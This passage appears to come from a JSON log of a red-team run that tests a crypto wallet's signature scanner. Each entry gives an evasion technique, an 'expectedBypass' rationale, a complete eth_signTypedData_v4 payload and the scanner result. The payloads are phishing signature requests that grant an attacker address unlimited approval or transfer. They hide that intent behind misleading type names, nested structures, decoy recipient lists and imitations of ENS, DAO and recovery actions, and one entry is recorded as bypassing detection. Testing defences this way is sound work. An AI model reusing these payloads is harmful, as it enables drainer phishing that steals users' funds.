"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN30-EIP3009-022", "timestamp": "2026-01-31T17:32:22.719Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x82e7b410d63585f10aae10271b07f243f65ed838669db130fa3613a8d6a26b69\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN30-EIP3009-054", "timestamp": "2026-01-31T17:32:29.279Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x9a6d3db81ab53c27de81cd60798ba2359f2d2bc8386b07677f9ffc9e3ac72fd0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:32:38.912Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:32:48.090Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:32:57.274Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:33:06.459Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:33:15.644Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:33:25.009Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:33:34.220Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:33:43.427Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:33:52.646Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:34:01.861Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:34:11.058Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:34:20.446Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:34:29.673Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:34:38.960Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:34:48.144Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:34:57.329Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance 